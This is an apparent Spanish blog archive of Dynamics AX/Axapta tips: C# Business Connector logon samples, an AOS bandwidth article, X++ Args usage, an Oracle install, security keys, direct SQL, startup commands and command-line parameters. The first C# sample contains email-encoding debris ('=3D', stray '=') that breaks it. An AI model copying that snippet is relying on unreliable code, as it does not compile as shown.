Varios ejemplos C# .net para conectar con AX 4.0 utilizando Bussines conector

Filed under:.NET,4.0,Uncategorized,axapta,desarrollo,dynamics — posted by admin on June 24, 2010 @ 1:20 am

UAN

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace ConsoleApplication1
{
    class Program
    {
        static void Main(string[] args)
        {
            Microsoft.Dynamics.BusinessConnectorNet.Axapta DynAx;
            DynAx =3D new =
Microsoft.Dynamics.BusinessConnectorNet.Axapta();
            // Test the connection to the .NET Business Connector=20
            // by using the proxy user.
            System.Net.NetworkCredential nc =3D new =
            System.Net.NetworkCredential("proxyBCAX", "********");
            try
            {
                DynAx.LogonAs("proxyBCAX", "", nc, "", "", "", =
                   "C:\\Documents and Settings\\1314\\Escritorio\\BC.AXC");
                //DynAx.LogonAs(Environment.UserName, "", null, "", "", =
                 "", "C:\\Documents and Settings\\1314\\Escritorio\\BC.AXC");
                Console.WriteLine( "Success Login OK");
                Console.ReadLine();
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
                Console.WriteLine(ex.Message);
                Console.ReadLine();
            }
        }
    }
}

CHU
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;

namespace WindowsFormsApplication1
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            try
            {
                label1.Text = "";

                Microsoft.Dynamics.BusinessConnectorNet.Axapta DynAx = new
                    Microsoft.Dynamics.BusinessConnectorNet.Axapta();
                Microsoft.Dynamics.BusinessConnectorNet.AxaptaRecord DynRec;

                // Authenticate the user and establish a session.
                DynAx.Logon(Company.Text, null, AOS.Text, Configuration.Text);
                if (DynAx != null)
                {
                    label1.Text = ("Login OK");
                }

                // Define the record as the AddressState table.
                DynRec = DynAx.CreateAxaptaRecord("AddressState");

                // Define the query that will run on the AddressState records.
                // This will return all the data in the AddressState table with
                // the cursor positioned at the first record in the table.
                DynRec.ExecuteStmt("select * from %1");

                // Check if the query returned any data.
                if (DynRec.Found)
                {
                    // Display the record on the form that was retrieved from the query.
                    textBox1.Text = (string)DynRec.get_Field("Name");

                }
            }
            catch (Exception ex)
            {
                textBox1.Text = (ex.ToString());
                textBox1.Text += (ex.Message);
                label1.Text = ("Login Filed");
            }
        }
    }
}
ZRI
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;

namespace WindowsFormsApplication2
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {

                label1.Text = "";

                Microsoft.Dynamics.BusinessConnectorNet.Axapta DynAx = new
                    Microsoft.Dynamics.BusinessConnectorNet.Axapta();
                Microsoft.Dynamics.BusinessConnectorNet.AxaptaRecord DynRec;

            // Authenticate the user and establish a session.
                System.Net.NetworkCredential nc = new System.Net.NetworkCredential(USER.Text, PASS.Text);
            try
            {
                //"C:\\Documents and Settings\\1314\\Escritorio\\BC.AXC"
                DynAx.LogonAs(AXUser.Text, Domain.Text, nc, Company.Text, null, AOS.Text, Configuration.Text);

                if (DynAx != null)
                {
                    label1.Text = ("Login OK");
                }

                // Define the record as the AddressState table.
                DynRec = DynAx.CreateAxaptaRecord("AddressState");

                // Define the query that will run on the AddressState records.
                // This will return all the data in the AddressState table with
                // the cursor positioned at the first record in the table.
                DynRec.ExecuteStmt("select * from %1");

                // Check if the query returned any data.
                if (DynRec.Found)
                {
                    // Display the record on the form that was retrieved from the query.
                    textBox1.Text = (string)DynRec.get_Field("Name");

                }
                //DynAx.Logoff();
            }
            catch (Exception ex)
            {
                textBox1.Text = (ex.ToString());
                textBox1.Text += (ex.Message);
                label1.Text = ("Login Filed");
            }
        }
    }
}

AOS 3.0 SP1-2 a SP4-6 o de como cambiar tu Seat panda por un Leon FR

Filed under:Uncategorized — posted by admin on March 20, 2008 @ 10:02 am

Lo cierto es que desde que microsoft cogió por banda nuestro ERP favorito ha hecho buenas mejoras a parte de subirle los costes de instalación y licencia que va muy bien para eso de la facturación mensual. Una de las grandes mejoras es el rendimiento del AOS, originariamente esto del aos era la hiper-mega-solution para grandes redes pero en la practicar era mas rapido una tortuga en java que el dichoso AOS aparte de los miles de errores de sincronización de objetos, formularios y hasta de datos, por que el manejo de la cache de estos era pesimo por no decir pobre. En algunos desarrollos era mejor optar por un diseño plano sobre cliente para evitar sorpresas de ultima hora con las impresoras y dios sabe que mas.

También durante la primera epoca de 3.0 algun iluminati de dangard y luego de navision le dio por dar los cursos de instalación como si esto fuera un IE 7, vamos siguiente — siguiente — etc. Y resulto que muchas por no decir el 60 % de instalación se hicieron sobre dos directorios diferentes de objetos, lo que provoca desde errores en los formularios a errores de sincronía con la base de datos que pueden hacer desaparecer nuestros datos.

Al menos los siguientes sp han corregido muchos errores y han mejorado la velocidad y estabilidad de ususarios.

vaya el siguiente texto de ejemplo de lo que se vendia de un AOS :

 

 

The AOS and the quest for Bandwidth.

When the discussion is about the ‘speed’ of the Axapta system running client and the AOS, some important factors have to be considered. This article will try to explain some of these issues.

Bandwidth, which we all want lots of, is the amount of data that can pass from the source to the destination per unit of time, averaged over many transactions. Measurement in mega bits per second (Mbps)/kilo bits per second (kbps).

Keep in mind that bandwidth is not a measure of speed, but rather of quantity.

If you look at your connection to the AOS as a freeway, bandwidth is a measure of the number of lanes available for traffic. The more lanes you have the greater the number of cars your freeway can handle.

Please keep in mind that bandwidth is not everything. Latency, “the speed”, also matters.

Latency, is the time it takes for a single data transaction to occur — the time between sending the data on the source end and its reception on the far end. Measurement is in millisecond, ‘ms’.

The speed on your freeway would be measured in the speed the cars traveled, and would be independent of the number of lanes available, (bandwidth). Speed on the network/Internet is determined by a measurement called “latency.”

Simply put, latency measures the minimum amount of time possible for a packet to be transferred over your connection. The higher the latency gets the longer transfers take and the lower your connection “Speed Limit” will be.

This means that there will always be a minimum time that you can never beat. This is the latency. Even if you send a very small packet, the fastest it can get to the server will be depending on the latency and not the bandwidth. (This of course, if you have enough bandwidth for the packet)

So the perception of speed, is (therefore) actually a combination of these two performance numbers.

The ping command can inform you about the latency on the network from your client to the AOS in ms.
A more accurate way is to use the build in performance measurement tool in Axapta 2.5. e.g. (Administrator;Inquiries;Performance Tests;Performance Tests;Client/Server connection.) If the network has a high load of traffic, there is a possibility that the lower prioritized icmp packet will indicate higher latency then there really is on the network.
This is due to the fact that the icmp packet used in combination with the ping command has a lower status on the network than the TCP packet.

What about the ASU?

Navision a/s has defined the following:

1 ASU is the load generated by Axapta 2.5 when creating and invoicing the amount of 10 salesorder with each 5 orderlines processed over the period of 1 hour.
That’s a total of 10 Salesorder with a total of 50 salesline in one hour.

Please read at Technet.damgaard.com ‘ResourcesHardware Sizing Guide’ about the definition of ASU. Please also read about the number of ASU the different Axapta modules produce.

How does all the above relate to the AOS?

With the above definition of ASU and demand for bandwidth and latency, and not at all having discussed the need for hardware, Navision a/s on the standard Axapta 2.5 gives the following rule of thumb that:

1 ISDN 64kbps is able to handle the throughput of 10 ASU, meaning that you e.g. can produce 100 salesorder with a total of 500 saleslines over a period on 1 hour.

The demand for latency has to be <100ms and preferably <50ms on the communication line.
When the latency is high, it has a huge impact on the speed of the system.

Development gives the following formula to compute the bandwidth requirements.

The formula

ASU x 6,4 kbps = y
If y < 64 kbps then bandwidth = 64 kbps
else bandwidth = y kbps

E.g. The requirement for bandwidth by the load of 20 ASU
20 x 6,4 kbps = 128 kbps
Required bandwidth = 128 kbps

Keep in mind that the above has been tested on a standard Axapta 2.5 installation. If you have been adding to the standard application you have to consider the impact of this.

Recommendations

These can be rule of thumb only so please apply your common sense when sizing for a customer.

When talking bandwidth and latency requirements, you will need to agree to a performance level for Axapta with your customer.

Make sure that the bandwidth and latency are measured using Axapta’s built-in tool rather than relying on what the network provider promises and measure it periodically over a period of time and particularly at peak hours to ensure that you know what the user will experience. Also make sure that the measurements are done on the production environment with as realistic a load as possible. It is of little value to measure one client loading a line that has to provide for 100.

Preferably Axapta should have a dedicated line to avoid mail, print etc. generating inexplicable sporadic bad performance. If this is not possible, make sure that the connection amply sized.

Bear in mind that due to the client/server architecture of Axapta, Axapta is hit very hard from high latency.

What about the future?

In the future Navision a/s have plans to produce some more detailed information in regard to the AOS communication and different types of communications lines.

Como pasar parametros entre objetos usando la clase args AX axapta

Filed under:3.0,4.0,Uncategorized,aot,axapta,desarrollo,dynamics,x++ — posted by admin on February 19, 2008 @ 5:01 am

Args  es utiliza para pasar argumentos al constructor de una clase. Args pueden transmitir información como el nombre, y los parámetros que llaman a una nueva clase.

Los formularios, informes y consultas utilizan  la clase Args como primer argumento en el constructor.

Pasandole el nombre del objeto a crear a una clase args y despues llamar a classfactory con estos argumentos podemos inicializar fomularios, informes etc.

    Args a = new Args(“CustTable”);
    formRun fr = ClassFactory.FormRunClass(a);
    fr.init();
    fr.run();
 

para recuperar el objeto args en la clase de destino, por regla general existe un metodo que nos devuelve este dato.

elment.args() en el caso de formulario.

El objetivo de esto es poder pasar a traves de args objetos completos a otros contextos de ejecución de forma que podriamos abrir un formulario inicial F1 ejecutar otro formulario secundario F2 y poder ejecutar metodos del formulario 1 desde el formulario 2.

un ejemplo.

Hemos creado un from con un metodo para recuperar el texto de un strignedit y este texto lo vamos a pintar desde un report, utilizando para ello una clase intermedia o el metodo del form que lo ha llamado.

fir_dem.xpo 

public void init()
{
    object ob;
    FIR_ReportClas FIR_ReportClas;

    super();

    //axl si no es la clase entonces es el formmm…
    if (classIdGet(element.args().caller()) == classNum(FIR_ReportClas))
    {
            FIR_ReportClas = element.args().caller();
            print FIR_ReportClas.texto();
    }
    else
    {
        ob = element.args().caller();
        print ob.texto();
    }

dibujoaaxxzee.bmp

Instalación de AX Dinamics 4.0 con oracle express

Filed under:3.0,4.0,Uncategorized,axapta,dynamics,oracle — posted by admin on February 15, 2008 @ 2:04 am

Desde este blog apostamos más por la utilidad y el buen hacer que por las facturas que van a cobrar las consultoras en ventas de productos Microsoft. Hemos de reconocer que AX es un buen producto como “erp” que ya se ha asentado en nuestro país y que día a día es una solución tanto para la pequeña como media empresa. A la hora de implantar un Ax normalmente los que deciden que base de datos o plataforma se va a utilizar, suelen ser los comerciales que le venden la moto al pobre cliente que no sabe realmente que necesita ya  que no tiene experiencia sobre en el tema. Aprovechando esta carencia algún que otro desalmado le coloca un sql Server solo para sacarse unas perrillas de más y de paso subir un par de puntos en el ranking de “Partners“, o tal vez por puro desconocimiento o falta de profesionalidad. Para nosotros y con la experiencia adquirida desde la versión 2.1,  desde antes del año 2000 recomendamos “oracle” para las instalaciones que requieran un volumen de movimientos  grande. Bases de datos que vayan a superar los 30 o 50 GB no en su instalación base, sino en el crecimiento que sufrirá tras su puesta en producción. A lo que vamos. La instalación de AX 4.0 es muy sencilla y solamente necesitamos una maquina 2003 server r2 actualizada y una base de datos en este caso oracle Express que aun con una limitación de 4 GB  nos servirá de ejemplo. http://www.oracle.com/technology/software/products/database/xe/index.htmlTras instalar oracle Express que no es muy difícil continuaremos con la de AX 4.0, uno de los pasos en la instalación es la elección de la base de datos, en este instante nos solicitara una serie de datos, el listener, el puerto tcp o el usuario y la contraseña de la base de datos. Ax necesita que la autentificación de base de datos la realice el sistema operativo. Para conseguir esto solo necesitamos cambiar el parámetro de XE

os_authent_prefix  

Con un prefijo tipo ‘ops$’ nos sevira,  de manera que oracle sepa identificar si el usuario del SO que solicita la conexión esta creado en oracle autorizando el acceso.  Crearemos un usuario  en oracle como este:

-- Windows
CREATE USER "OPS$DOMINIO.COM\DBO" IDENTIFIED EXTERNALLY;
GRANT CONNECT TO "OPS$DOMINIO.COM\DBO";

Crearemos un usuario en nuestro dominio en este caso DBO .Oracle –> OPS$dominio\DBOWin –> DBOY podremos finalizar la instalación.Ni que decir tiene que debemos crear un tablespace de datos otro de indices etc. (Vamos lo típico en estos casos).http://www.oracle-base.com/articles/misc/OsAuthentication.php Para finalizar recomendaros que ORACLE + SUSE Linux  + AX es la mejor combinación para un optimo rendimiento de la instalación y evitar los sustos que nos dará Microsoft con el día a día que ya sabemos todos.  Un saludo.

Como es eso de la seguridad en AX 3.0

Filed under:3.0,Uncategorized,axapta,dynamics,seguridad — posted by admin on February 5, 2008 @ 2:08 am

A mi me cuesta mucho entender el modelo de seguridad de AX, pero menos mal que tenia por hay un documento de M$ que vamos a pegar integro por si a alguien le sirve pa algo…

Configuration and security in Navision Axapta

This technical information paper will go through the concept of the configuration and security system introduced in version 3.0 of Navision Axapta.

Introduction

With version 3.0 of Navision Axapta the Configuration and Security system is introduced. This system is an extension of the feature key system that has existed since the first version of Axapta.

This paper is an introduction to the concept and ideas behind the new system. The paper will not deal with the technical aspects of how to create configuration and security keys and connect these to application objects. These issues are covered in the Navision Axapta Developer’s Guide, which is available from the Help menu in the toolbar.

For help on specific forms in Navision Axapta, please consult the online help.

Configuration and security key concept

The new security system was created to make the system more intuitive and flexible, and easier for the administrator to set up. The feature keys are replaced by two types of keys: configuration and security keys. This means, that the double-function the feature keys previously had, is now replaced by two types of keys each having one function.

The standard version 2.5 of Navision Axapta had more than 1,000 feature keys. The new system will only have few, but well-defined keys. To maintain the flexibility, security can now be set up on each menu item.

License codes

The license code concept has not changed on the interface with version 3.0. The setup form still looks the same, and license information can be entered manually or loaded from the license file. But license codes are now defined in the AOT. The specific codes, however, are still requested at, and generated by Navision.

Configuration keys

Configuration keys are used to disable or enable functionality and, according to the name, used for configuration of your system. Configuration keys are present everywhere in the AOT like the feature keys were present.

When buying license codes and entering these in the system, you perform the first steps of the configuration. A more detailed configuration is done from the Administration menu; click Setup, then System and double-click Configuration. In most cases license codes control the configuration keys, therefore it is not possible, and would not make sense, to disable a configuration key. A configuration key, however, can control a number of child configuration keys, and they can be either disabled or enabled as required. An example could be a company buying the Trade module license code; the company wants most of the functionality in this module, but does not do business with other countries, and chooses therefore to disable the Foreign trade configuration key. This can all be controlled from the Configuration form.

A minimized system

Having loaded the license code file, the system will start up minimized. This means that all child configuration keys are disabled. Any required extra features can safely be enabled later. A specific setup can still be exported and imported, or, if necessary reset to standard, which is the minimized system. The minimized system will not be used during an upgrade.

dibujo1112.JPG

Security keys

Having set up the configuration keys, security must be considered. Security keys are used to control access to functionality for users. The security keys are used almost everywhere the feature keys were, except for indexes, fields and types:

  • Indexes – the performance of indexes must be available for all users, just as in version 2.5.

  • Fields – security on fields must be set up from the User group permissions form, under the table they belong to.

  • Types – security can only be applied to fields, making the concept of indirect access obsolete.

Security keys control access to menu items and tables, and setup is done from the Administration menu, click Setup, then Security, and User group permissions. Access for menu items and tables can be set to:

  • No access,

  • View,

  • Edit,

  • Create, and

  • Full control.

     

The figures (2 and 3) below illustrate the hierarchy of the configuration and security keys.

Key hierarchy

dibujo1113.JPG

dibujo1114.JPG

Fig 3.: (C) = Configuration key, (S) = Security key, (MI) = Menu item, and (T) = Table.

 

Figure 3 illustrates how security keys control menu item and table access, and how the Ledger configuration key controls the Cust security key.

For each module, a set of 9 security keys exists, they all have the same naming, and the prefixes denote the module. For the Accounts Receivable module the security keys are:

  • Cust

  • CustDaily,

  • CustJournals,

  • CustInquiries,

  • CustReports,

  • CustPeriodic,

  • CustSetup,

  • CustMisc, and

  • CustTables.

    The security key structure resembles the Main menu structure. To make setup easier, drill-down of menu items is possible. A drill-down will display the tables, form controls and other menu items that are accessible from the menu item.

Record level security

Another new feature for version 3.0 is the Record level security system. It can be used in addition to the other permissions setup in Navision Axapta. For each combination of company, user group, and table a query can be set up, limiting data access for the specific combination. Specify, for example, that a certain user group within a company only has access to see customer numbers from 1000 to 4999. Row level security is set up from the Administration menu, under Setup, then Security, and Record level security.

Read more about Record level security in the online help.

Forms’ setup

In previous versions, an extension of the security access was to set up access to fields etc. on specific forms. The setup was done from each specific form for the user group. With version 3.0, the same functionality is available, but it is handled differently. Granting access to form controls is done from the User group permissions form. In the tree, each control for a specific form, this being a field, a button or a display field can be set to the appropriate access level.

Comparison

For the user coming from an Axapta version 2.5, the changes may not seem very overwhelming on the interface. The main difference between the old and the revised system is the split-up into two different types of keys. This means that it is more obvious to the user what keys are used for what purpose.

Another difference is, that indirect access no longer exists. Indirect access was introduced to allow related fields to be shown in the related table in order to, for example, show the Item number on a Sales Order. Since it is no longer possible to set security on types, the Item number field will not be removed, and the indirect access is not necessary. To remove the Item number field from the Sales Order, use table access on the sales order table and item number field.

The following table illustrates the Feature key system versus the Configuration system:

 

Functionality

2.5

3.0

License codes

Used for registering license information.

Codes are requested at Navision.

License codes are defined in the kernel.

 

Used for registering license information.

Codes are requested at Navision.

License codes are defined in the AOT.

Configuration keys

Did not exist as a separate type of key. The function lied in Feature keys.

Are used for enabling/disabling functionality.

Security keys

Did not exist as a separate type of key. The function lied in Feature keys.

Are used for assigning access to user groups.

Users

Users are created, and permissions are assigned to User groups. A user must be member of at least one User group.

Users are created, and permissions are assigned to User groups. A user must be member of at least one User group.

User groups

Permissions are assigned to User groups. A User group can belong to one or more Domain(s), and can have different permissions assigned through the Domain.

Permissions are assigned to User groups. A User group can belong to one or more Domain(s), and can have different permissions assigned through the Domain.

Companies

A company can be connected to one or more Domain(s).

A company can be connected to one or more Domain(s).

Domains

A domain is a collection of one or more company accounts. The purpose of domains is to enable user groups to have some permissions within a number of company accounts, and other permissions within other company accounts.

A domain is a collection of one or more company accounts. The purpose of domains is to enable user groups to have some permissions within a number of company accounts, and other permissions within other company accounts.

User group permissions

User group permissions are assigned for a user group within a certain domain. The same user group can have different permissions assigned within each domain.

Feature keys controlled the access rights for user groups to features, menus and tables.

User group permissions are assigned for a user group within a certain domain. The same user group can have different permissions assigned within each domain.

Security keys control the access for user groups. Each module is divided into 8 categories, resembling the Main menu structure: Daily, Journals, Inquiries, Reports, Periodic, Setup, Miscellaneous, and Tables.

The indirect access concept has disappeared. Access is set up on security keys, menu items, tables, fields, and form controls.

Record Level Security

Did not exist.

Record level security allows setup of data limitations for a certain combination of Company/User group/Table. It extends the User group permissions setup.

Forms’ setup

Setup for the specific controls on a form, saved per User group and Domain.

No longer exists as a separate form. Setting form control access is done from the User group permissions form per User group and Domain.

Table access

A separate system to limit access to confidential tables and fields by overruling the feature keys.

No longer exists as a separate system. Security is set up from the security tree, see Example on page 7.

Como ejecutar una sentencia sql sobre la base de datos

Filed under:SQL,Uncategorized — posted by admin on February 1, 2008 @ 3:30 am

Como podemos ejecutar una sentecia sql de verdad no de esas medio conversas q nos hace escribir el interprete de AX, pues muy facil con un par de intrucciones.

 connection = new Connection();

 statement = connection.createStatement();
 resultSet = statement.executeQuery(‘SELECT itemid FROM inventtable’);

  while (resultSet.next())
 {
 // …
   rsmd = resultset.getMetaData();

Utilizando la clase connection abrimos una nueva conexion con la bbss y ejecutamos cholon lo que queramos… con los permisos que tenga el usuario que utilize el aos o la conexion de 2 capas.

Ejectuar sql desde un form

Startupcmd sysstartupcmd o como ejecutar codigo al iniciar AX dynamics Axpta

Filed under:Uncategorized — posted by admin on January 24, 2008 @ 2:39 am

Podemos ejecutar codigo al iniciar un cliente de AX simplemente indicandole en el configuration utility en la opcion startup command el parametro de este comipilado en sysstartupcmd.

Por ejemplo si escribimos la palabra “batch” el sistema al iniciar arracara la opcion de procesamiento de lotes.

dibujo2.JPG

Las opciones que acutalmente existen por defecto en el standard son las siguientes:

SetBuildNo :
     “return new SysStartupCmdBuildNoSet(s,parm);”
     Recompilar y crear de nuevo el numero de version.
UpdateBuildNo:
     return new SysStartupCmdBuildNoUpdate(s,parm);
     Actualizar a un nuevo el numero de version.
Synchronize:
     “return new SysStartupCmdSynchronize(s,parm);”
     Lanza la sincronización de tablas y datos de todo el AOT
     utilizando la appl –>” appl.dbSynchronize(0,false);”
Batch:
    Ejecuta la clase de
compileAll:
     “return new SysStartupCmdCompileAll(s,parm);”
     Lanza la compilación de toda la aplicación
Exit:
    “return new SysStartupCmdExit(s,parm);”
    Cierra el cliente utilizando el metodo shutdonw
    de la class infolog “infolog.shutDown(true); //Jobs done”
AOTImport:
     “return new SysStartupCmdAOTImport(s,parm);”
     Importa un xpo, aunque yo no me lo creo mucho eso..
ApplUpgrade:
     “return new SysStartupCmdApplUpgrade(s,parm);”
     Lanza los procesos de aztualizacion de version .

De todos estos yo solo he utlizado Synchronize, compileAll y Batch.

dibujo3.JPG

Como iniciar AX sin que nos pida usuario y contraseña

Filed under:Uncategorized — posted by admin on @ 1:44 am

Sin somos muy torpes y no queremos estar todos los dias que si contraseña va que si contraseña viene, podemos hacer que nuestros usuarios no tengan nunca que escrbir el usuario y la password. Simplemente tenemos que asociar a cada usuario su nombre de red y preparar el configuration utility con la opcion -windowsauth=1. Ha pero no se nos olvide que en 3 capas no funciona, por que ?? pues por que la validación de usuario en 3 capas la hace contra el servidor en el que se ha arrancado la conexion o desde el cliente. Por lo que solo funcionara si tenemos a todo el mundo en 2 Tier o si tenemos la version 4 de dynamics AX

dibujo1.JPG

Axapta comman-line parameters

Filed under:Uncategorized — posted by admin on January 17, 2008 @ 8:42 am

Una de las cosas que posee axapta y que poca gente conoce son los parametros internos que se puden utilizar para evitar el control de latencia entre cliente y aos. Evitar el trafico udp que controla la conexion por si nuestra red esta saturada y no cumple con el minimo de latencia. He incluso parametros para la conexion con aos, simular un ancho de banda. Recompilar la aplicación controlar el numero de cursores y el timpo de una consulta etc.

The Internal command-line parameters

Axapta has a number of command-line parameters which extends the formal and documented list of parameters. All of these takes the form -INTERNAL=something, where something denotes the flavor of the parameter. Below is a list of parameters maintained by the BackOffice Feature Team (links to whitepapers appear where appropriate):

 

-INTERNAL=NOCURSORREUSE Disable the SQL cursor reuse mechanism. Hurts performance, improves easy of tracing/debugging -INTERNAL=COMMENTS Insert comments in the generated SQL showing the values of placeholders.

-INTERNAL=RELAXEDONTTSLEVEL Suppress the TTS level checking. Should only be used with care. -INTERNAL=RELAXEDONUPDATE Suppress the checks on updates, and deletes (manipulating data which was not seleted locked) -INTERNAL=UNIQUEINDEXES Force all Axapta indexes to be created unique (i.e. by appending the RecId column to the index). Requires the database to be re-indexed to be applied to the database. -INTERNAL=SYSLASTVALUE Make the table SysLastValue be stored in Axapta internal storage (as opposed to the SQL database). For backward compatibility only. -INTERNAL=SYSLASTVALUECACHE:cacheMode Overrule the default caching method on the system table SysLastValue. Default is 3 (“NotFound”), valid values 0 through 3. Used for testing and debugging purposes only.

 

-INTERNAL=MONOCASE Simulate the way the Oracle-version handles indexed fields, i.e. lower (“mono”) case the data. Used for testing and debugging purposes only. -INTERNAL=NODATAAREAID Simulate the “SavePerCompany” table property to be “FALSE” on all tables. To be used in benchmarking.

 

-INTERNAL=NOSYNCTABLELOCK Don’t apply exclusive tablelock on a table being synchronized.

 

 

 

 

Command-line parameters

The parameters described below may be given on the command line that starts up the system. Most of these parameters can and should be set up in the Microsoft Axapta Configuration Utility.

-allowunauth When using Windows Authentication, this option enables users that do not pass the authentication process to be allowed logging in using user name and password (traditional Axapta logon sequence). If not enabled, users will be rejected if not authenticated.   
-aol=<s> ?aol” is an acronym for “Application Object Layer”. Valid layers are: sys, syp, gls, glp, dis, dip, los, lop, bus, bup, var, vap, cus, cup, usr and usp.   
-aolcode=<s> Access code for –aol.   
-aos=host:port Connect to the AOS running at given port number on specified host.
Host is either a DNS hostname (for example server1.MBS.com) or an IP address (192.88.253.41).
The port number is the number specified for the AOS instance that should be connected to. No instance name needs to be specified because only one instance can be running at a given port on a given machine.
Using this option will connect the client directly to the AOS using TCP traffic only and bypass the initial search for the AOS and thereby eliminates the need for networking that supports UDP traffic. This eases firewall configuration and NAT appliances   
-aos=instance@host Connect to the specified AOS instance running at the specified host machine.
Instance is the name (for example ‘Axapta’), and host is DNS name or IP address of the machine running the AOS.
Specifying -aos=MyAOS@MyHost equals setting -servermask=MyAOS and -internet=MyHost (or specifying these in corresponding fields on the server tab in the Configuration Utility).   
-aos=ad(<adsn>) Use Active Directory integration. <adsn> is the “Active Directory Server Name” to search the Active Directory for.
Same as “By name – find a specific AOS” in the Axapta Configuration Utility   
-aos=adbrowse Use Active Directory integration.
Search the Active Directory for “Active Directory Server Names” in User objects and Organizations Units.
Same as “By organization – browse for per-user or per-organizational specific AOS” in the Axapta Configuration Utility   
-aos=ad Use Active Directory integration – search the Active Directory for any AOS.
Same as “Simple – find any AOS” in the Axapta Configuration Utility   
-applexclusive The application files are opened in exclusive mode.
Note –applexclusive and –applshare cannot both be given.
If you do give both, the one given last on the command line will take effect. You will not get any error messages.   
-application=<s> Specify the name of the Axapta application.
Default: Standard   
-applshare The application files are opened in shared mode. This is default.
Note –applexclusive and –applshare cannot both be given.
If you do give both, the one given last on the command line will take effect. You will not get any error messages.   
-broadcast= xx.xx.xx.xx Specify a broadcast address to be used in –CLIENT mode. A request is sent to all the broadcast addresses to obtain identification of the available application servers. The address consists of four decimal values between zero and 255 separated by dots.   
-bwsim=<speed>:<latency> where <speed> states the bandwidth simulated (in bytes per second).
 The <latency> is specified as a number designating number of ms spent for communication round trip (the fixed overhead (time used) the network applies to sending a package to the server and receive one back).
Reply from 172.20.4.70: bytes=32 time<10ms TTL=128
Reply from 172.20.4.70: bytes=32 time<10ms TTL=128
Reply from 172.20.4.70: bytes=32 time<10ms TTL=128
Ping statistics for 172.20.4.70:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms
C:\>ping aos.my-corp.com
Pinging aos.my-corp.com [X.Y.Z.20] with 32 bytes of data:
Reply from X.Y.Z.20: bytes=32 time=78ms TTL=115
Reply from X.Y.Z.20: bytes=32 time=125ms TTL=115
Reply from X.Y.Z.20: bytes=32 time=62ms TTL=115
Reply from X.Y.Z.20: bytes=32 time=63ms TTL=115
Ping statistics for X.Y.Z.20:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 62ms, Maximum = 125ms, Average = 82ms
The average in the last line of the two samples above is the one to specify as . For ISDN direct connected lines the latency will be approx. 30ms. For 10Mbps LAN, the latency is 5-10ms. Internet based communication will present a wide range of latencies from <30ms to well above 350ms (for satellite based connectivity).   
-client Connect to an AOS and run as a three-tier thin client. Use -aos= to specify which AOS.   
-client = thin Connect to an AOS and run as a three-tier thin client. Use -aos= to specify which AOS.   
-client = fat Connect to an AOS and run as a three-tier fat client. Use -aos= to specify which AOS.   
-company=<s> Select initial company <s>.
Default: dat   
-connectionidletimeout=<seconds> Set the time in seconds to leave an idle database connection open before closing it. Shorter idle time will decrease database server and Axapta memory usage, but will potentially cause time-consuming re-logins on the fly.
Default: 60 seconds is the default for Microsoft SQL Server, 30 minutes the default for Oracle.   
-createdsn=microsoftsqlserver or
-createdsn=oracle Have the data source created automatically in the ODBC manager.   
-createdsn_tcpipport=<integer> TCP/IP port number required for Oracle. This parameter is relevant only when -createdsn=oracle is given. The parameter is ignored if given with -createdsn=microsoftsqlserver.   
-database=<s> Use database <s> when connecting to the database server.
Default: The default option is to use the database set in the ODBC driver.   
-DBCLI Runs Axapta in either ODBC or OCI mode. -DBCLI=ODBC is the default.   
-dbserver=<s> Use server <s> during login.
Default: The default option is to use the server set in the ODBC driver.   
-dbunicodeenabled=0 | 1 Initialize database for Unicode   
-directory=<s> Specify the Axapta root-directory .   
-doclanguage=<s> Use this option if you would like to have the documentation in a different language than the one used in menus and dialogs.
Example:
-doclanguage=da
will give you the documentation in Danish.
Default: The default is that the documentation language is identical to the language used in the system.
This is set by the
-language option.   
-dsn=<s> Use ODBC driver data source <s>.
Default: BMSDSN   
-FEATUREKEYSYSTEM  The security key system is ON by default.Use this parameter to enable the old featurekey system.    
-fetchahead=<n> A maximum of <n> records retrieved from the database at a time.
Default: 100   
-hint=<n> Apply database dependent SQL hint(s).
Default: Empty for default settings.   
INTERNAL=RELAXEDSYNTAX The 3.0 kernel defaults to ‘strict’ syntax. For previous versions, use this parameter to ease restrictions on strict syntax.    
-internet=<s> Specify an Internet address to be used in –CLIENT mode. A request is sent to all the Internet addresses to obtain identification of the available Object servers.   
-job=<s> Run external job <s> prior to any other database-related action during startup.
Default: The default is not to run a job.   
-language=<s> Select language <s> for the user interface.
Default: Language must be selected during setup.   
-log=<s> Name the SQL error log file (may include a full drive and path specification).
Default: AxaptaError.Log in the standard Axapta log-directory.   
-logdir=<s> Use an alternative directory for the log files generated when you compile, import or export in Axapta.
Default: The default is that the log files are generated in the Log folder.   
-noauto Use this parameter to bypass system related application calls made by the Axapta kernel. This includes the ability to bypass startup code, and some timer based calls. This parameter will allow you to startup Axapta in order to fix problems that were introduced in the application code. Normally these problems would prevent you from starting Axapta. For example, if code is introduced in the startup method that causes Axapta to go into infinite loop, and therefore, never finishes the startup procedure, . To change this, start with the –NOAUTO switch, correct the code and restart without the –NOAUTO to have the startup code included again.   
-opencursors=<n> A maximum of <n> database cursors are kept open per connection for cursor reuse.
Default: 90 cursors   
-port=<integer> TCP port for the AOS   
-preloadthresholdmsec=<milliseconds> Time used for preloading. For example, -preloadthresholdmsec=3000 results in the issue of a warning whenever preloading exceeds 3000 milliseconds. This value can not be specified per user in Tools, Options, SQL, Warnings. This threshold is only activated when warnings are enabled.   
-preloadthresholdrecords=<records> Number of records preloaded. For example, -preloadthresholdrecords=300 results in the issue of a warning whenever preloading exceeds 300 records. This value can not be specified per user in Tools, Options, SQL, Warnings. This threshold is only activated when warnings are enabled.   
